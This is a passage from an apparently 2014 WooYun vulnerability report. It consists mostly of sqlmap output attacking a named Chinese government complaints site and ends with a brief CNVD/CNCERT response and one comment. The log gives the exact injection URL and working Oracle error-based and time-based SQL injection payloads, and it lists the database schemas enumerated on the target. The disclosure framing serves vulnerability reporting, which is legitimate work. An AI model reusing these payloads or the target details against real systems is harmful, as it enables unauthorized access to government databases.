[06:44:11] [INFO] retrieved: SCOTT
[06:44:11] [INFO] retrieved: SH
[06:44:12] [INFO] retrieved: SYS
[06:44:12] [INFO] retrieved: SYSTEM
[06:44:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:44:37] [INFO] retrieved: TXWSXF
[06:44:37] [INFO] retrieved: TXXF
[06:44:38] [INFO] retrieved: WKSYS
[06:44:39] [INFO] retrieved: WMSYS
[06:44:39] [INFO] retrieved: XDB
available databases [26]:
[*] CTXSYS
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] TXWSXF
[*] TXXF
[*] WKSYS
[*] WMSYS
[*] XDB
[06:44:39] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\tx12345.tx.gov.cn'
[*] shutting down at 06:44:39


注入地址:http://xf.jianggan.gov.cn/jgxfw/appellate/appellate.do?act=queryzmhd&ts
lb=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 06:46:39
[06:46:39] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\xf.jianggan.gov.cn\session' as session file
[06:46:39] [INFO] resuming back-end DBMS 'oracle' from session file
[06:46:39] [INFO] testing connection to the target url
[06:46:40] [INFO] testing if the url is stable, wait a few seconds
[06:46:42] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[06:46:44] [INFO] testing if GET parameter 'act' is dynamic
[06:46:44] [INFO] confirming that GET parameter 'act' is dynamic
[06:46:44] [INFO] GET parameter 'act' is dynamic
[06:46:45] [WARNING] heuristic test shows that GET parameter 'act' might not be
injectable
[06:46:45] [INFO] testing sql injection on GET parameter 'act'
[06:46:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:46:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:46:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:46:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:46:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:46:53] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:46:55] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:46:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:46:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:46:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:47:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:47:03] [INFO] testing 'Oracle AND time-based blind'
[06:47:03] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:47:03] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[06:47:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:47:10] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:47:19] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:47:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:47:38] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:47:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:47:51] [WARNING] GET parameter 'act' is not injectable
[06:47:51] [INFO] testing if GET parameter 'tslb' is dynamic
[06:47:52] [WARNING] GET parameter 'tslb' appears to be not dynamic
[06:47:53] [INFO] heuristic test shows that GET parameter 'tslb' might be inject
able (possible DBMS: Oracle)
[06:47:53] [INFO] testing sql injection on GET parameter 'tslb'
[06:47:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:47:56] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:47:59] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[06:48:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:48:08] [INFO] GET parameter 'tslb' is 'Oracle AND error-based - WHERE or HAV
ING clause (XMLType)' injectable
[06:48:08] [INFO] testing 'Oracle AND time-based blind'
[06:48:21] [INFO] GET parameter 'tslb' is 'Oracle AND time-based blind' injectab
le
[06:48:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:48:22] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[06:48:25] [INFO] target url appears to have 8 columns in query
[06:48:56] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
GET parameter 'tslb' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 182 HTTP(s) req
uests:
---
Place: GET
Parameter: tslb
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: act=queryzmhd&tslb=1' AND 6587=(SELECT UPPER(XMLType(CHR(60)||CHR(5
8)||CHR(104)||CHR(102)||CHR(99)||CHR(58)||(SELECT (CASE WHEN (6587=6587) THEN 1
ELSE 0 END) FROM DUAL)||CHR(58)||CHR(114)||CHR(114)||CHR(113)||CHR(58)||CHR(62))
) FROM DUAL) AND 'RJsw'='RJsw
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: act=queryzmhd&tslb=1' AND 6803=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||
CHR(78)||CHR(87)||CHR(72),5) AND 'PJtd'='PJtd
---
[06:49:50] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[06:49:50] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[06:49:50] [INFO] fetching database (schema) names
[06:49:50] [INFO] the SQL query used returns 26 entries
[06:49:50] [INFO] resumed: CTXSYS
[06:49:50] [INFO] resumed: HR
[06:49:50] [INFO] resumed: JGXFN
[06:49:50] [INFO] resumed: JGXFW
[06:49:50] [INFO] resumed: MDSYS
[06:49:50] [INFO] resumed: ODM
[06:49:50] [INFO] resumed: ODM_MTR
[06:49:50] [INFO] resumed: OE
[06:49:50] [INFO] resumed: OLAPSYS
[06:49:50] [INFO] resumed: ORDSYS
[06:49:50] [INFO] resumed: OUTLN
[06:49:50] [INFO] resumed: PM
[06:49:50] [INFO] resumed: QS
[06:49:50] [INFO] resumed: QS_CBADM
[06:49:50] [INFO] resumed: QS_CS
[06:49:50] [INFO] resumed: QS_ES
[06:49:50] [INFO] resumed: QS_OS
[06:49:50] [INFO] resumed: QS_WS
[06:49:50] [INFO] resumed: RMAN
[06:49:50] [INFO] resumed: SCOTT
[06:49:50] [INFO] resumed: SH
[06:49:50] [INFO] resumed: SYS
[06:49:50] [INFO] resumed: SYSTEM
[06:49:50] [INFO] resumed: WKSYS
[06:49:50] [INFO] resumed: WMSYS
[06:49:50] [INFO] resumed: XDB
available databases [26]:
[*] CTXSYS
[*] HR
[*] JGXFN
[*] JGXFW
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
[06:49:50] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\xf.jianggan.gov.cn'
[*] shutting down at 06:49:50

漏洞证明:

function

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-08-18 08:52

厂商回复:

CNVD确认并复现所述情况,尝试联系软件生产厂商杭州中软安人,对方不提供联系方式,后通报给网站公开邮箱。根据测试用例,已经转由CNCERT下发给浙江分中心,由其后续协调涉及的网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-11 10:35 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\xf.jianggan.gov.cn